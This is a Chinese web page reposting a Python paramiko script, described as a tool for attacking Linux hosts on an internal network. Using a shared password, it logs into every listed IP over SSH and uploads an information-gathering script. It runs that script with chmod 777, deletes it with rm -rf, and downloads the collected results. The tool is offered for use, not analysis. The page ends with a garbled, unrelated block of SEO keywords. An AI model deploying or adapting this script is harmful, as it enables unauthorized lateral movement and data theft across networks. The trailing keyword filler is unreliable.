千家信息网

ssh批量登录 上传 执行命令 下载文件

发表于:2025-02-07 作者:千家信息网编辑
千家信息网最后更新 2025年02月07日,用途:搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。缺点:不支持多线程 密码必须正确切可连通 端口硬编码为22 如果不是22 请自行修改执
千家信息网最后更新 2025年02月07日ssh批量登录 上传 执行命令 下载文件

用途:

搞linux主机的内网,拿到通用的账户密码,批量登录,上传系统信息收集脚本,把执行的结果拉回本地,用于分析。

缺点:

不支持多线程 密码必须正确切可连通 端口硬编码为22 如果不是22 请自行修改

执行过程:

执行ssh.py root root 会自动登录ssh,上传本地文件目录下的1.py文件到linux服务器tmp目录,执行/tmp/1.py文件,删除/tmp/1.py文件,把1.py执行的文件的生成的test.txt下载回本地。注意:下载的文件名已硬编码在1.py文件28行,如果下载的文件是其他的名字 请自行修改(下载文件跟生成的文件是相互的 两个文件都需要改动)

# -*- coding: utf_8 -*-# Date: 2015/5/15# author:sanrimport paramiko,time,sys,osdef README():        print '+' + '-' * 50 + '+'        print u'\t     Python ssh批量登录脚本'        print u'\t       ip请写入iplist.txt     '        print u'\t           Time:2015-5-15'        print u'\t         author : sanr'        print '+' + '-' * 50 + '+'        if len(sys.argv) != 3:                print  u'[+]用法:'+os.path.basename(sys.argv[0]) + " user pass"                print  u'[+]实例:'+os.path.basename(sys.argv[0]) + " root root"                sys.exit()def upload(host,user,pswd):        try:                ssh = paramiko.Transport((host,22))                ssh.connect(username = user, password = pswd)                sftp = paramiko.SFTPClient.from_transport(ssh)                sftp.put("./1.py","/tmp/1.py")                print '[+]'+host,u'ssh已登陆',                # 调用执行命令函数                ssh3(host,user,pswd)                # 调用创建目录函数                mkdir(host)                # 下载远程主机文件                sftp.get("/tmp/test.txt", "./"+host+"/result.txt")                print u'信息收集结果已成功下载'                ssh.close()        except:                passdef ssh3(host,user,pswd):        try:                ssh = paramiko.SSHClient()                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())                ssh.connect(host,22,user,pswd, timeout=5)                #stdin, stdout, stderr = ssh.exec_command('ifconfig;free')                #print stdout.read()                #执行命令 修改上传1.py的代码权限为777 执行1.py脚本  删除1.py脚本                stdin, stdout, stderr = ssh.exec_command('chmod 777 /tmp/1.py;/usr/bin/python /tmp/1.py;rm -rf /tmp/1.py')                ssh.close()        except:                passdef mkdir(path):    # 引入模块    import os    # 判断路径是否存在    # 存在     True    # 不存在   False    isExists=os.path.exists(path)    # 判断结果    if not isExists:        # 创建目录操作函数        os.makedirs(path)                # 如果不存在则创建目录        print  u' 创建目录成功',        return True    else:        # 如果目录存在则不创建,并提示目录已存在        print   u'本地目录已存在',        return Falseif __name__=='__main__':        README()        start_time = time.time()        with open('./iplist.txt', 'r') as f:                for ip in  f:                        host=ip.strip()                        user=sys.argv[1]                        pswd=sys.argv[2]                        upload(host,user,pswd)        print u'[+] 报告大爷 信息已收集完毕,用时:%d 秒' % (time.time() - start_time)          


附件:http://down.51cto.com/data/2365680
文件 目录 脚本 登录 信息 函数 结果 命令 成功 主机 密码 编码 生成 两个 代码 名字 大爷 实例 报告 文件名 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 图像质量数据库下载 品质网络技术咨询简介 首都师范大学数据库应用与技术 云顶提示无法连接服务器 net三层架构连接数据库 国际为网络安全努力 女生读职校适合软件开发妈 汽车网络技术发展的背景是 软件开发需要哪些云产品 aa网络安全是什么意思 局域网服务器共享文件怎么打开 如何做才能将网络安全做好 数据库技术的主要特性 重庆靠谱教育系统开发软件开发 网络安全大赛的主题曲 专题数据库的储存方式 云服务器上下架宝贝 平台棋牌软件开发 学生应该注意的网络安全 小京东一键清除数据库 一台服务器搭建多个虚拟服务 战略支援部的计算机网络技术好吗 连接服务器的网络命令 超级课程表的服务器这么容易炸吗 敏捷模型用什么软件开发 网络安全先进集体申报表 网络安全警示教育片部队新闻 自建大学数据库 网络安全学情分析调查问卷 网络技术缺点
0